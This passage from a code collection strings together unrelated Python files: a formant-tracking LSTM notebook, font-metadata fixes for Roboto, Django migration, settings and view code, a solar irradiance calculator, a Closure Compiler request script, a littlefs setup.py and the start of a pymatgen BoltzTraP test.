specs_pred) / tf.math.log(10.0) mse = tf.math.reduce_mean(tf.square(specs_input - specs_pred)) #loss over whole batch fdiff = tf.math.reduce_mean(tf.abs(freqs[1:] - freqs[:-1])) #bdiff = tf.math.reduce_mean(tf.abs(bws[1:] - bws[:-1])) #adiff = tf.math.reduce_mean(tf.abs(amps[1:] - amps[:-1])) #return (mse + cfg.DIFFWEIGHT * (fdiff + bdiff + 25.0 * adiff)) return (mse + cfg.DIFFWEIGHT * fdiff) return custom_loss # ### Model definition # # **define_model()** defines the model's architecture, loss function, and optimizer before compiling it, then prints summary statistics. In our TIMIT experiments, we produced the best results with just a single LSTM layer of 512 units followed by a single Dense layer, but the user may experiment with adding more layers of either type, and changing their sizes and activation functions, via the provided configuration file. The LEARNING_RATE used by the Adam optimizer can also be adjusted (default 0.0001). # In[ ]: def define_model(cfg): #Definition of model architecture: model = tf.keras.Sequential() model.add(tf.keras.Input(shape=(None, cfg.SPECTRUM_NPOINTS))) for i in range(cfg.LSTM_LAYERS): model.add(tf.keras.layers.LSTM(cfg.LSTM_UNITS, return_sequences=True)) for i in range(cfg.DENSE_LAYERS - 1): model.add(tf.keras.layers.Dense(cfg.DENSE_UNITS, activation=cfg.DENSE_ACTIVATION)) model.add(tf.keras.layers.Dense(cfg.NPARAMS, activation=cfg.TOP_ACTIVATION)) #Here the model's loss function is defined before the model is compiled. rescale_params = get_rescale_fn(cfg) myvtfn = get_vtfn_func(cfg) myloss = get_custom_loss(cfg, rescale_params, myvtfn) model.compile( optimizer=tf.keras.optimizers.Adam(cfg.LEARNING_RATE), loss=myloss, metrics=[myloss] ) #Summary statistics: print("\nModel input shape: ({}, {}, {})".format(cfg.BATCH_SIZE, cfg.SEQUENCE_LENGTH, cfg.SPECTRUM_NPOINTS)) print("Model output shape: ({}, {}, {})".format(cfg.BATCH_SIZE, cfg.SEQUENCE_LENGTH, cfg.NPARAMS)) model.summary() sys.stdout.flush() return model # ### Model training # **train_model()** does the model training. During training, the model weights are saved after every epoch that produces a validation loss lower than that of any previous epoch. Models are trained until the best validation loss has not improved after cfg.PATIENCE epochs, or a maximum of cfg.EPOCHS epochs. If there is no validation set, the training set loss is used for monitoring instead. # If ALLOW_RETRAIN is True and there is at least one pre-existing model in the model directory, the newest saved model will be reloaded, and training will pick up where it left off with that model. # The non-best models are deleted, unless DELETE_OLDER_MODELS is set to False. # In[ ]: def train_model(model, modeldir, cfg, train_dset, val_dset=None): checkpoints = glob.glob(modeldir + "/*.index") if len(checkpoints) > 0 and cfg.ALLOW_RETRAIN and not cfg.TESTRUN: latest = tf.train.latest_checkpoint(modeldir) model.load_weights(latest) print("\nReloading pre-existing model", latest, "for further training.") last_epoch = int(latest[-3:]) else: last_epoch = 0 if val_dset is None: mymonitor = 'custom_loss' else: mymonitor = 'val_custom_loss' model_checkpoint_callback = tf.keras.callbacks.ModelCheckpoint( filepath=modeldir + "/model.epoch{epoch:03d}", save_best_only=True, save_weights_only=True, monitor=mymonitor, mode='min') early_stopping_callback = tf.keras.callbacks.EarlyStopping( patience=cfg.PATIENCE, monitor=mymonitor, mode='min') if cfg.TESTRUN: Verbosity = 1 else: Verbosity = 2 print("\nBegin training:") sys.stdout.flush() model.fit(train_dset, epochs=cfg.EPOCHS, initial_epoch=last_epoch, validation_data=val_dset, verbose=Verbosity, callbacks=[model_checkpoint_callback, early_stopping_callback]) sys.stdout.flush() if cfg.DELETE_OLDER_MODELS: print("\nDeleting non-best models....") latest = tf.train.latest_checkpoint(modeldir) for i in glob.glob(modeldir + "/model.epoch*"): if not i.startswith(latest): #print("Deleting", i) os.remove(i) # ### Generating formant tracks on test files # # The **track_files()** function runs a trained model on a list of wavefiles, generating formant measurements every cfg.FRAME_STRIDE_MSEC milliseconds (5 msec by default). These measurements are saved in text files, with one output line for every frame. The columns of the output file consist of the following in order: the filename, the time point in milliseconds, and then the total number of resonances (poles plus zeros). This is followed by the parameters (frequency, bandwidth, and amplitudes, in that order) of the poles, in order of increasing mean frequency, and then those of the zeros, in order of increasing mean absolute frequency. By default, the frequencies are listed first, then bandwidths, then amplitudes (i.e. F1 F2 F3 ... B1 B2 B3 ... etc.), but this can be switched to an interleaved ordering, i.e. F1 B1 A1, F2 B2 A2, etc., by setting the configuration parameter FREQUENCIES_FIRST to False. # # The names and locations of these output text files depend on whether an output directory name is provided. If so, Then all of the output text files are stored in this directory. To prevent name collisions, the output filename is derived from by converting all slashes in the input pathname to underscores -- but to shorten the names, any initial part of the input path that is common to all of the files is left out. As an illustration, the following example shows the corresponding output names for a list of 3 input files: # # timit/test/dr1/faks0/sa1.wav -> outdir/dr1_faks0_sa1.txt # timit/test/dr1/faks0/sa2.wav -> outdir/dr1_faks0_sa2.txt # timit/test/dr2/fcmr0/sa1.wav -> outdir/dr2_fcmr0_sa1.txt # # On the other hand, if an output directory name is **not** provided, then each output file is written to the same directory as the corresponding input file, with the same name as the wavefile but a different extension (.txt). # # In either case, the file extension can be changed via the configuration file (OUT_EXT). # # Other notes: # * Since there is nothing in the custom loss code above that distinguishes one formant from another (aside from poles versus zeros), and any of them can take frequency values between MINFREQ and MAXFREQ, the model output neurons may generate the formants in any random order (although that order will be constant from one frame to the next; e.g. if neuron 3 generates F1 for one frame, it does so for all frames and files). track_files() reorders the formants by their mean frequencies over all frames. # * track_files() changes the frequencies of the antiformants (zeros) to negative values, to distinguish them from the poles. Also, since the antiformants don't have their own amplitude correction factors, a placeholder value of "1.0" is inserted. # * For output interpretation, it's important to remember that the initial "amplitudes" generated by the model are not actually final formant amplitudes, but rather weighting factors that are used to adjust the initial formant amplitudes generated by formant(). By default, track_files() attempts to convert these weighting factors to "real" formant amplitude estimates (but see README for more information). This behavior can be changed to generate the original weighting factors by changing the configuration parameter REAL_AMPLITUDES to False. # * Unlike the python scripts in IS2021/ and PaPE2021/, track_files() also performs the final binomial smoothing of the output parameters; the number of smoothing passes is controlled by BIN_SMOOTH_PASSES (default 10). # In[ ]: def track_files(testlist, model, trmean, trstd, cfg, outdir=None): import time start_time = time.perf_counter() rescale_params = get_rescale_fn(cfg) if outdir is not None: os.makedirs(outdir, exist_ok=True) #Determine how much of the directory path is common to all test files y = [i.split("/") for i in testlist] n_common_prefixes = 0 b = 0 for i in y[0]: for j in y[1:]: if (j[n_common_prefixes] != i): b = 1 break if b == 1: break else: n_common_prefixes += 1 print("\nGenerating", len(testlist), "output files:") for filename in testlist: #Determine output directories and filenames if filename.endswith(".wav"): shortname = filename.rsplit(".", 1)[0] else: shortname = filename if outdir is None: outname = shortname + '.' + cfg.OUT_EXT else: shortname = "_".join(shortname.split("/")[n_common_prefixes:]) outname = outdir + "/" + shortname + '.' + cfg.OUT_EXT print(filename, " -> ", outname) sys.stdout.flush() #Note that we feed the files one at a time to getdata() lenf, f1 = getdata([filename], cfg, verbose=0) #Again, the input data must be normalized by the training set statistics f2 = (f1 - trmean) / trstd #Add a third (batch) dimension so that frame sequence can be read directly by model f2 = tf.expand_dims(f2, axis=0) #Generate formant predictions y = model.predict(f2)[0] # Rescale and reorganize output f, b, a = rescale_params(y) zf = f.numpy() za = a.numpy() zb = b.numpy() # Convert antiformant frequencies to negative numbers, and # insert placeholder "1.0" for antiformant amplitudes. # Then sort formants and antiformants separately by increasing frequency. if cfg.NZEROS > 0: fp, f0 = tf.split(zf, [cfg.NFORMANTS, cfg.NZEROS], axis=-1) f0 = f0 * -1.0 zf = tf.concat([fp, f0], axis=-1) a0 = tf.ones([za.shape[0], cfg.NZEROS], dtype=tf.float32) za = tf.concat([za, a0], axis=-1) ord1 = np.hstack((np.argsort(np.mean(fp, axis=0)), (np.flip(np.argsort(np.mean(f0, axis=0)) + cfg.NFORMANTS)))) else: ord1 = np.argsort(np.mean(np.abs(zf),axis=0)) # Convert amplitude adjustment factors to true estimates of amplitudes if cfg.REAL_AMPLITUDES: za2 = 10.0 ** (za / 20.0) zf2 = zf ** 2.0 zb2 = (zb ** 2.0) / 4.0 num = za2 * (zf2 + zb2) den = ((4.0 * zb2 * zf2) + (zb2 ** 2.0)) ** 0.5 rat = num / den za = 20.0 * np.log10(cfg.FLOOR + rat) # Sort parameters in the order F1 F2 F3 ... B1 B2 B3 ... A1 A2 A3 ... if cfg.FREQUENCIES_FIRST: ord2 = [i for i in ord1] + [i+cfg.NSUM for i in ord1] + [i+cfg.NSUM*2 for i in ord1] # Otherwise output in order F1 B1 A1 F2 B2 A2 F3 B3 A3 ... else: p = [(i, i+cfg.NSUM, i+(cfg.NSUM*2)) for i in ord1] ord2 = sum(p, ()) # Do binomial smoothing of output, if any zp = np.hstack((zf, zb, za)) for i in range(cfg.BIN_SMOOTH_PASSES): zp = np.vstack((0.75*zp[0] + 0.25*zp[1], 0.5*zp[1:-1,] + 0.25*zp[2:,] + 0.25*zp[:-2,], 0.75*zp[-1] + 0.25*zp[-2])) # Write to output file out1 = zp[:,ord2] ff = open(outname, "w") for i in range(out1.shape[0]): ff.write("{} {:.1f} {} ".format(shortname, i * cfg.FRAME_STRIDE_MSEC, cfg.NSUM)) out1[i,:].tofile(ff, sep=" ", format="%.2f") ff.write(" \n") ff.close() t = time.perf_counter() - start_time print("Total tracking time: {:.2f} min ({:.2f} sec/file)".format(t/60.0, t/len(testlist))) # ## Code bebugging # In[ ]: if __name__ == "__main__": import FN_configuration cfg = FN_configuration.configuration() cfg.configure(None) model = define_model(cfg)
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scripts/touchup_for_web.py
BennZoll/roboto
3,933
30719
<reponame>BennZoll/roboto<gh_stars>1000+ #!/usr/bin/python # # Copyright 2015 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Post-build web fonts changes for Roboto.""" import sys from fontTools import ttLib from nototools import font_data import temporary_touchups def apply_web_specific_fixes(font, unhinted, family_name): """Apply fixes needed for web fonts.""" # set vertical metrics to old values hhea = font['hhea'] hhea.ascent = 1900 hhea.descent = -500 os2 = font['OS/2'] os2.sTypoAscender = 1536 os2.sTypoDescender = -512 os2.sTypoLineGap = 102 os2.usWinAscent = 1946 os2.usWinDescent = 512 # correct anything else needed for both web and Chrome OS apply_web_cros_common_fixes(font, unhinted, family_name) def apply_web_cros_common_fixes(font, unhinted, family_name): """Apply fixes needed for web and CrOS targets""" subfamily_name = font_data.get_name_records(font)[2].encode('ASCII') assert(subfamily_name in ['Thin', 'Thin Italic', 'Light', 'Light Italic', 'Regular', 'Italic', 'Medium', 'Medium Italic', 'Bold', 'Bold Italic', 'Black', 'Black Italic']) if 'Condensed' in font_data.get_name_records(font)[1]: family_name += ' Condensed' full_name = family_name if subfamily_name != 'Regular': full_name += ' ' + subfamily_name # Family, subfamily names font_data.set_name_record(font, 16, family_name) style_map = ['Regular', 'Bold', 'Italic', 'Bold Italic'] if subfamily_name in style_map: font_data.set_name_record(font, 1, family_name) else: weight = subfamily_name.split()[0] new_family_name = family_name if weight != 'Regular': new_family_name += ' ' + weight font_data.set_name_record(font, 1, new_family_name) # all weights outside regular and bold should only have subfamily # "Regular" or "Italic" italic = subfamily_name.endswith('Italic') font_data.set_name_record(font, 2, style_map[italic << 1]) # Unique identifier and full name font_data.set_name_record(font, 3, full_name) font_data.set_name_record(font, 4, full_name) font_data.set_name_record(font, 18, None) # PostScript name font_data.set_name_record( font, 6, (family_name+'-'+subfamily_name).replace(' ', '')) # Copyright message font_data.set_name_record( font, 0, 'Copyright 2011 Google Inc. All Rights Reserved.') # hotpatch glyphs by swapping # https://github.com/google/roboto/issues/18 glyf = font['glyf'] glyf['chi'], glyf['chi.alt'] = glyf['chi.alt'], glyf['chi'] # make glyph orders consistent for feature copying # https://github.com/google/roboto/issues/71 glyph_order = font.getGlyphOrder() for i, glyph_name in enumerate(glyph_order): if glyph_name.endswith('.lnum'): new_name = glyph_name.replace('.lnum', '.pnum') glyph_order[i] = new_name font['glyf'][new_name] = font['glyf'][glyph_name] # append old name to glyph order so del succeeds glyph_order.append(glyph_name) del font['glyf'][glyph_name] # copy features from unhinted # https://github.com/google/roboto/pull/163 for table in ['GDEF', 'GPOS', 'GSUB']: font[table] = unhinted[table] def correct_font(source_name, unhinted_name, target_font_name, family_name): """Corrects metrics and other meta information.""" font = ttLib.TTFont(source_name) unhinted = ttLib.TTFont(unhinted_name) # apply web-specific fixes before shared, so that sub/family names are # correct for black weights and their bold bits will be set apply_web_specific_fixes(font, unhinted, family_name) temporary_touchups.apply_temporary_fixes(font, is_for_web=True) temporary_touchups.update_version_and_revision(font) font.save(target_font_name) def main(argv): """Correct the font specified in the command line.""" correct_font(*argv[1:]) if __name__ == "__main__": main(sys.argv)
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creator/migrations/0002_auto_20180122_0811.py
Chaitya62/E-Certificates
3
81048
<gh_stars>1-10 # -*- coding: utf-8 -*- # Generated by Django 1.10 on 2018-01-22 08:11 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('creator', '0001_initial'), ] operations = [ migrations.RemoveField( model_name='event', name='attendees', ), migrations.DeleteModel( name='Attendee', ), migrations.DeleteModel( name='Event', ), ]
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old/step2/itcal_matrix.py
NingAnMe/GFSSI
1
99135
<filename>old/step2/itcal_matrix.py import glob import math import os from datetime import datetime, timedelta def cos(x): return math.cos(math.radians(x)) def sin(x): return math.sin(math.radians(x)) def isleap(y): return (y % 4 == 0 and y % 100 != 0) or y % 400 == 0 def calDoy(y, m, d): Doy = 0 a = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31] if isleap(y): a[1] = 29 for x in a[0:m - 1]: Doy += x return Doy + d def calDelta(Doy): # print "360/365*(284 + Doy) is %f" % (360.0/365*(284 + Doy)) return 23.45 * sin(360.0 / 365 * (284 + Doy)) def calOmega(hr, min, lon, E): TT = hr + min / 60.0 + 4 * (lon - 120) / 60.0 + E / 60.0 return (TT - 12) * 15 def calCosThetaz(lat, Delta, Omega): return cos(lat) * cos(Delta) * cos(Omega) + sin(lat) * sin(Delta) def calG0(Doy, CosThetaz): return 1366.1 * (1 + 0.033 * cos(360.0 / 365 * Doy)) * CosThetaz def calRb(lat, Beta, Delta, Omega, CosThetaz): return (cos(lat - Beta) * cos(Delta) * cos(Omega) + sin(lat - Beta) * sin(Delta)) / CosThetaz def calGt(Ib, Id, Ai, Rb, Beta, Itol): return (Ib + Id * Ai) * Rb + Id * (1 - Ai) * (1 + cos(Beta)) / 2.0 + Itol * 0.2 * (1 - cos(Beta)) / 2.0 def assignTime(fileName_str): y = int(fileName_str[0:4]) m = int(fileName_str[4:6]) d = int(fileName_str[6:8]) hr = int(fileName_str[8:10]) + 8 min = int(fileName_str[10:12]) return y, m, d, hr, min def assignOriData(oriData): return float(oriData[0]), float(oriData[1]), float(oriData[2]), float(oriData[3]), float(oriData[4]) def assignE(fileName_str): for x in eData: if x[0] == fileName_str[4:8]: return float(x[1]) def readAndWrite(files, fileName_str): y, m, d, hr, min = assignTime(fileName_str) E = assignE(fileName_str) # 查找E值 # print "E is %d" % E Beta = 35.0 Doy = calDoy(y, m, d) # 计算Doy，是一年的第几天 Delta = calDelta(Doy) # 计算Delta wfd = open(save_path + fileName_str + '_ssi.txt', 'w') wfd.write("lon lat Itotal Ib Id G0 Ai Rb Gt Dni\n") with open(files[0]) as fd: for line in fd: oriData = line.split() lon, lat, Itol, Ib, Id = assignOriData(oriData) ''' print y,m,d,hr,min,lon,lat,Itol,Ib,Id y=2017 m=8 d=1 lon=100.3105 lat=38.9286 Itol=338.526 Ib=155.352 Id=183.174 hr=8 min=30 E = -7 print y,m,d,hr,min,lon,lat,Itol,Ib,Id ''' Omega = calOmega(hr, min, lon, E) # 计算 Omega CosThetaz = calCosThetaz(lat, Delta, Omega) # 计算 CosThetaz if Itol == 9999.0 or Ib == 9999.0 or Id == 9999.0: G0 = 9999.0 Ai = 9999.0 Rb = 9999.0 Gt = 9999.0 Dni = 9999.0 else: G0 = calG0(Doy, CosThetaz) # 计算 G0 Ai = Ib / G0 # 计算 Ai Rb = calRb(lat, Beta, Delta, Omega, CosThetaz) # 计算 Rb Gt = calGt(Ib, Id, Ai, Rb, Beta, Itol) # 计算 Gt Dni = Ib / CosThetaz # 计算 Dni ''' print "Doy is %d" % Doy print "Delta is %f " % Delta print "Omega is %f" % Omega print "CosThetaz is %f " % CosThetaz print "go is %f" % G0 print "Ai is %f" % Ai print "Rb is %f" % Rb print "Gt is %f" % Gt ''' wfd.write(str(round(lon, 4)) + ' ' + str(round(lat, 4)) + ' ' + str(round(Itol, 2)) + ' ' + str( round(Ib, 2)) + ' ' + str(round(Id, 2)) + ' ' + str(round(G0, 2)) + ' ' + str(round(Ai, 2)) + ' ' + str( round(Rb, 2)) + ' ' + str(round(Gt, 2)) + ' ' + str(round(Dni, 2))) wfd.write('\n') # sys.exit() data_path = 'I:\\FY4\\unzipNC\\2017\\' output_path = 'F:\\FY4\\GT\\' year = "2017" if not os.path.exists(output_path + year): os.makedirs(output_path + year) dt_from = datetime.strptime("20170901", "%Y%m%d") dt_to = datetime.strptime("20170902", "%Y%m%d") delta = timedelta(minutes=15) eData = [] with open('ep.txt') as fd: for line in fd: eData.append(line.split()) fileName = dt_from while fileName <= dt_to: path = data_path + fileName.strftime("%Y%m%d") + '//' save_path = output_path + year + '//' + fileName.strftime("%Y%m%d") + '//' fileName_str = fileName.strftime("%Y%m%d%H%M") # print "fileName_str is %s " % fileName_str if not os.path.exists(save_path): os.makedirs(save_path) try: files = glob.glob(path + '*' + fileName_str + '*.txt') if len(files) == 1: readAndWrite(files, fileName_str) except: print('No' + fileName_str + 'datafiles.') fileName += delta
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sporttech/settings/base.py
aseufert/sporttechiq
0
166108
""" Django settings for sporttech project. Generated by 'django-admin startproject' using Django 2.0.8. For more information on this file, see https://docs.djangoproject.com/en/2.0/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.0/ref/settings/ """ # Build paths inside the project like this: os.path.join(BASE_DIR, ...) import os import datetime import json PROJECT_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) BASE_DIR = os.path.dirname(PROJECT_DIR) site_config = os.path.join(PROJECT_DIR, 'settings', 'site_config.json') with open(site_config) as f: configs = json.loads(f.read()) SECRET_KEY = configs['SECRET_KEY'] # Application definition INSTALLED_APPS = [ 'home', 'search', 'showcase.apps.ShowcaseConfig', 'users', 'api', 'wagtail.contrib.forms', 'wagtail.contrib.redirects', 'wagtail.contrib.modeladmin', 'wagtail.embeds', 'wagtail.sites', 'wagtail.users', 'wagtail.snippets', 'wagtail.documents', 'wagtail.images', 'wagtail.search', 'wagtail.admin', 'wagtail.core', 'modelcluster', 'taggit', 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'rest_framework', 'django_filters', ] MIDDLEWARE = [ 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'django.middleware.security.SecurityMiddleware', 'wagtail.core.middleware.SiteMiddleware', 'wagtail.contrib.redirects.middleware.RedirectMiddleware', ] ROOT_URLCONF = 'sporttech.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [ os.path.join(PROJECT_DIR, 'templates'), ], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] # used to read debug variable in templates INTERNAL_IPS = ('127.0.0.1',) WSGI_APPLICATION = 'sporttech.wsgi.application' # Password validation # https://docs.djangoproject.com/en/2.0/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Extending user model. Foreign keys should refer to settings.AUTH_USER_MODEL AUTH_USER_MODEL = 'users.User' WAGTAIL_USER_EDIT_FORM = 'users.forms.CustomUserEditForm' WAGTAIL_USER_CREATION_FORM = 'users.forms.CustomUserCreationForm' WAGTAIL_USER_CUSTOM_FIELDS = ['user_type'] # Internationalization # https://docs.djangoproject.com/en/2.0/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Wagtail settings WAGTAIL_SITE_NAME = "SportTech IQ" STATICFILES_DIRS = [ os.path.join(BASE_DIR, 'sporttech', 'static'), ] STATIC_ROOT = os.path.join(BASE_DIR, 'sporttech', 'static') STATIC_URL = '/static/' MEDIA_ROOT = os.path.join(BASE_DIR, 'sporttech', 'media') MEDIA_ROOT = '/media/' REST_FRAMEWORK = { 'DEFAULT_FILTER_BACKENDS': ('django_filters.rest_framework.DjangoFilterBackend',), 'DEFAULT_PERMISSION_CLASSES': ( 'rest_framework.permissions.IsAuthenticated', ), 'DEFAULT_AUTHENTICATION_CLASSES': ( 'rest_framework_jwt.authentication.JSONWebTokenAuthentication', 'rest_framework.authentication.SessionAuthentication', 'rest_framework.authentication.BasicAuthentication', ), } JWT_AUTH = { 'JWT_AUTH_HEADER_PREFIX': 'Sporttechiq', 'JWT_EXPIRATION_DELTA': datetime.timedelta(seconds=86400), 'JWT_ALLOW_REFRESH': True, }
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buoi12/bai6.py
Viet7501/viet1
0
125037
def extract_characters(*file): with open("file3.txt") as f: while True: c = f.read(1) if not c: break print(c) extract_characters('file3.txt')
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feapder/network/user_pool/__init__.py
ibryang/feapder
876
35711
__all__ = [ "GuestUserPool", "GuestUser", "NormalUserPool", "NormalUser", "GoldUserPool", "GoldUser", "GoldUserStatus", ] from .gold_user_pool import GoldUserPool, GoldUser, GoldUserStatus from .guest_user_pool import GuestUserPool, GuestUser from .normal_user_pool import NormalUserPool, NormalUser
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material/admin/views.py
sesostris/django-material-admin
0
120959
<gh_stars>0 import datetime from django.contrib import messages from django.utils.translation import gettext_lazy as _ from django.views.generic import TemplateView class ThemesView(TemplateView): title = _('Theme selection') themes = ( {'display': _('Default'), 'name': 'default'}, {'display': _('Night'), 'name': 'night'}, {'display': _('Black'), 'name': 'black'}, {'display': _('Red'), 'name': 'red'}, {'display': _('Green'), 'name': 'green'} ) def get_context_data(self, **kwargs): context = super().get_context_data(**kwargs) context.update({ 'title': self.title, 'themes': self.themes, **(self.extra_context or {}) }) return context def post(self, request, *args, **kwargs): extra_kwargs = {} preview = request.POST.get('preview') save_action = request.POST.get('action') extra_kwargs['preview_theme'] = preview or save_action response = self.get(request, **extra_kwargs) if save_action: self.message_user(save_action) expires = datetime.datetime.now() + datetime.timedelta(days=365) response.set_cookie(key='current_theme', value=save_action, expires=expires) return response def message_user(self, theme_name): message = _('The "{}" theme was saved successfully.') messages.add_message( self.request, messages.SUCCESS, message.format(self._get_theme_display(theme_name)), fail_silently=True ) def _get_theme_display(self, theme_name): themes = [theme['display'] for theme in self.themes if theme['name'] == theme_name] if themes: return themes[0] return _('Default')
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js/matrixjs/matrix_compile.py
kennytilton/ConnectJS
7
4903
<gh_stars>1-10 #!/usr/bin/python2.4 import httplib, urllib, sys # Define the parameters for the POST request and encode them in # a URL-safe format. params = urllib.urlencode([ #('js_code', sys.argv[1]), ('code_url', 'https://raw.githubusercontent.com/kennytilton/MatrixJS/master/js/matrixjs/js/Matrix/Cells.js'), ('code_url', 'https://raw.githubusercontent.com/kennytilton/MatrixJS/master/js/matrixjs/js/Matrix/Model.js'), ('code_url', 'https://raw.githubusercontent.com/kennytilton/MatrixJS/master/js/matrixjs/js/Tag.js'), ('compilation_level', 'ADVANCED_OPTIMIZATIONS'), ('output_format', 'text'), ('output_info', 'warnings'), ]) # Always use the following value for the Content-type header. headers = { "Content-type": "application/x-www-form-urlencoded" } conn = httplib.HTTPConnection('closure-compiler.appspot.com') conn.request('POST', '/compile', params, headers) response = conn.getresponse() data = response.read() print data conn.close()
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tests/python/o.py
BenSouchet/sorbus
0
1610422
# Rouge Highlighter token test - Operator test = (((0.2 * 10) + 0.1) - 6) / 10
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setup.py
dsludwig/littlefs-python
13
59943
<reponame>dsludwig/littlefs-python<filename>setup.py from os import path from setuptools import setup, find_packages from setuptools import Extension from Cython.Build import cythonize # Extension definition EXTENSIONS = [ Extension("littlefs.lfs", ["src/littlefs/lfs.pyx", 'littlefs/lfs.c', 'littlefs/lfs_util.c'], include_dirs=['littlefs'], define_macros=[ ('LFS_NO_DEBUG', '1'), ('LFS_NO_WARN', '1'), ('LFS_NO_ERROR', '1'), # ('LFS_YES_TRACE', '1') ], extra_compile_args=['-std=c99'] ) ] setup_requires = [ 'setuptools_scm>=3.3.3', 'Cython>=0.29.13', ] HERE = path.abspath(path.dirname(__file__)) with open(path.join(HERE, 'README.rst'), encoding='utf-8') as fh: long_description = fh.read() setup( name='littlefs-python', url='https://github.com/jrast/littlefs-python', author='<NAME>', author_email='<EMAIL>', description='A python wrapper for littlefs', long_description=long_description, long_description_content_type='text/x-rst', use_scm_version=True, setup_requires=setup_requires, packages=find_packages('src'), package_data={'*': ['py.typed', '*.pyi']}, package_dir={'': 'src'}, zip_safe=False, ext_modules=cythonize(EXTENSIONS, language_level=3, annotate=False, compiler_directives={'embedsignature': True}), classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'Programming Language :: Python :: 3', 'Topic :: Scientific/Engineering', 'Topic :: Software Development :: Embedded Systems', 'Topic :: Software Development :: Libraries', 'Topic :: System :: Filesystems' ] )
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pymatgen/electronic_structure/tests/test_boltztrap.py
exenGT/pymatgen
1
68880
# Copyright (c) Pymatgen Development Team. # Distributed under the terms of the MIT License. import json import os import unittest import warnings from monty.os.path import which from monty.serialization import loadfn from pymatgen.electronic_structure.bandstructure import BandStructure from pymatgen.electronic_structure.boltztrap import BoltztrapAnalyzer, BoltztrapRunner from pymatgen.electronic_structure.core import OrbitalType, Spin from pymatgen.util.testing import PymatgenTest try: from ase.io.cube import read_cube except ImportError: read_cube = None try: import fdint except ImportError: fdint = None x_trans = which("x_trans") @unittest.skipIf(not x_trans, "No x_trans.") class BoltztrapAnalyzerTest(unittest.TestCase): @classmethod def setUpClass(cls): cls.bz = BoltztrapAnalyzer.from_files(os.path.join(PymatgenTest.TEST_FILES_DIR, "boltztrap/transp/")) cls.bz_bands = BoltztrapAnalyzer.from_files(os.path.join(PymatgenTest.TEST_FILES_DIR, "boltztrap/bands/")) cls.bz_up = BoltztrapAnalyzer.from_files( os.path.join(PymatgenTest.TEST_FILES_DIR, "boltztrap/dos_up/"), dos_spin=1 ) cls.bz_dw = BoltztrapAnalyzer.from_files( os.path.join(PymatgenTest.TEST_FILES_DIR, "boltztrap/dos_dw/"), dos_spin=-1 ) cls.bz_fermi = BoltztrapAnalyzer.from_files(os.path.join(PymatgenTest.TEST_FILES_DIR, "boltztrap/fermi/")) with open(os.path.join(PymatgenTest.TEST_FILES_DIR, "Cu2O_361_bandstructure.json")) as f: d = json.load(f) cls.bs = BandStructure.from_dict(d) cls.btr = BoltztrapRunner(cls.bs, 1) warnings.simplefilter("ignore") @classmethod def tearDownClass(cls): warnings.simplefilter("default") def test_properties(self): self.assertAlmostEqual(self.bz.gap, 1.6644932121620404, 4) array = self.bz._cond[300][102] self.assertAlmostEqual(array[0][0] / 1e19, 7.5756518, 4) self.assertAlmostEqual(array[0][2], -11.14679) self.assertAlmostEqual(array[1][0], -88.203286) self.assertAlmostEqual(array[2][2], 1.7133249e19) array = self.bz._seebeck[300][22] self.assertAlmostEqual(array[0][1], 6.4546074e-22) self.assertAlmostEqual(array[1][1], -0.00032073711) self.assertAlmostEqual(array[1][2], -2.9868424e-24) self.assertAlmostEqual(array[2][2], -0.0003126543) array = self.bz._kappa[500][300] self.assertAlmostEqual(array[0][1], 0.00014524309) self.assertAlmostEqual(array[1][1], 328834400000000.0) self.assertAlmostEqual(array[1][2], 3.7758069e-05) self.assertAlmostEqual(array[2][2], 193943750000000.0) self.assertAlmostEqual(self.bz._hall[400][800][1][0][0], 9.5623749e-28) self.assertAlmostEqual(self.bz._hall[400][68][1][2][2], 6.5106975e-10) self.assertAlmostEqual(self.bz.doping["p"][3], 1e18) self.assertAlmostEqual(self.bz.mu_doping["p"][300][2], 0.1553770018406) self.assertAlmostEqual(self.bz.mu_doping["n"][300][-1], 1.6486017632924719, 4) self.assertAlmostEqual(self.bz._cond_doping["n"][800][3][1][1] / 1e16, 1.5564085, 4) self.assertAlmostEqual(self.bz._seebeck_doping["p"][600][2][0][1] / 1e-23, 3.2860613, 4) self.assertAlmostEqual(self.bz._carrier_conc[500][67], 38.22832002) self.assertAlmostEqual(self.bz.vol, 612.97557323964838, 4) self.assertAlmostEqual(self.bz.intrans["scissor"], 0.0, 1) self.assertAlmostEqual(self.bz._hall_doping["n"][700][-1][2][2][2], 5.0136483e-26) self.assertAlmostEqual(self.bz.dos.efermi, -0.0300005507057) self.assertAlmostEqual(self.bz.dos.energies[0], -2.4497049391830448, 4) self.assertAlmostEqual(self.bz.dos.energies[345], -0.72708823447130944, 4) self.assertAlmostEqual(self.bz.dos.energies[-1], 3.7569398770153524, 4) self.assertAlmostEqual(self.bz.dos.densities[Spin.up][400], 